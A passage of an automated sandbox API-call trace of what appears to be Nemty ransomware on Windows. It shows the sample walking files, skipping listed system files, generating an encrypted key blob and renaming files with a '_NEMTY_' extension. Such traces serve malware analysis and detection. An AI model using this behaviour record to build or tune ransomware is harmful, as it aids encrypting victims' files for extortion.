lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.425] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.425] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.426] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.426] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.435] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.435] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.435] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.435] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.444] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.444] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.444] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.444] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.454] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.454] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.463] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.463] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.473] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.473] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.482] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.482] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.488] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.488] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.494] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.494] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634fc48 | out: hHeap=0x4f90000) returned 1 [0098.494] CloseHandle (hObject=0xffffffff) returned 0 [0098.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0098.494] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0098.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0098.494] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0098.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0098.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0098.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0098.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63401b8 [0098.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0098.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0098.494] MoveFileW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui._nemty_kgobjgd_")) returned 0 [0098.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0098.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0098.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0098.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0098.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0098.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0098.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0098.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0098.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0098.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.495] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="ielowutil.exe.mui", cAlternateFileName="")) returned 1 [0098.495] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2=".") returned 1 [0098.495] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="..") returned 1 [0098.495] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="...") returned 1 [0098.495] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="windows") returned -1 [0098.495] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0098.495] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="rsa") returned -1 [0098.495] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="NTDETECT.COM") returned -1 [0098.495] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="ntldr") returned -1 [0098.495] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="MSDOS.SYS") returned -1 [0098.495] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="IO.SYS") returned -1 [0098.495] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="boot.ini") returned 1 [0098.495] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="boot.ini") returned 1 [0098.495] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0098.495] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="ntuser.dat") returned -1 [0098.495] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="desktop.ini") returned 1 [0098.495] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="CONFIG.SYS") returned 1 [0098.495] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="RECYCLER") returned -1 [0098.495] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="BOOTSECT.BAK") returned 1 [0098.495] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="bootmgr") returned 1 [0098.495] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="programdata") returned -1 [0098.495] lstrcmpiW (lpString1="ielowutil.exe.mui", lpString2="appdata") returned 1 [0098.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0098.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ielowutil.exe.mui", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0098.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ielowutil.exe.mui", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ielowutil.exe.mui", lpUsedDefaultChar=0x0) returned 17 [0098.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0098.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ielowutil.exe.mui", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0098.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ielowutil.exe.mui", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ielowutil.exe.mui", lpUsedDefaultChar=0x0) returned 17 [0098.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0098.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0098.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0098.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ielowutil.exe.mui", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0098.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ielowutil.exe.mui", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ielowutil.exe.mui", lpUsedDefaultChar=0x0) returned 17 [0098.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0098.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0098.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ielowutil.exe.mui", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0098.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0098.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ielowutil.exe.mui", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ielowutil.exe.mui", lpUsedDefaultChar=0x0) returned 17 [0098.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0098.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0098.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0098.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0098.496] Sleep (dwMilliseconds=0x5) [0098.512] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xee5d4fd0, dwHighDateTime=0x1d561e7)) [0098.512] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xee5d4fd0, dwHighDateTime=0x1d561e7)) [0098.512] GetLastError () returned 0x5 [0098.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0098.512] GetLastError () returned 0x5 [0098.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0098.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0098.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0098.512] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0098.512] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0098.512] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0098.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0098.512] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="hM2cd/4ciowDSiPundf9XcI//oKqTBzOY+aOjXPGEz0nCaCLOBQQp5n7oBH4EjPb\r\nXS6vBUGBGME0Yk5ZEHP9LzyjtkIe2llTG0KM5MFdl7CIGMTeHnPNNghd+n0EZkq3\r\neAVQ33iOtEnZ3Gcvum5kBLpagYSfaTSsOWym+ijClJb40JMIno0Q8UbCNenMYmCL\r\n131OIePPCAFneq+CWXdn3Rk+JMI5UpXRVlcLj85c8tFVUH2C69b/TtbvNUmmAOzO\r\nK7x2RkSyPqO9aKfb0ANfeDfzh69PYAiYyxoJgJ3QZCiLI5u9EDJVsApTkgXMuUEt\r\nxfxwYbkdB5A2EOoUx29/lg==\r\n", pcchString=0x653ef9c) returned 1 [0098.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0098.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0098.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0098.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0098.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0098.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0098.512] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ielowutil.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0098.513] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0098.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634fc48 [0098.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.513] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.522] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.522] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.531] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.531] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.541] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.541] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.550] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.550] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.560] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.560] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.569] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.569] ReadFile (in: hFile=0xffffffff, 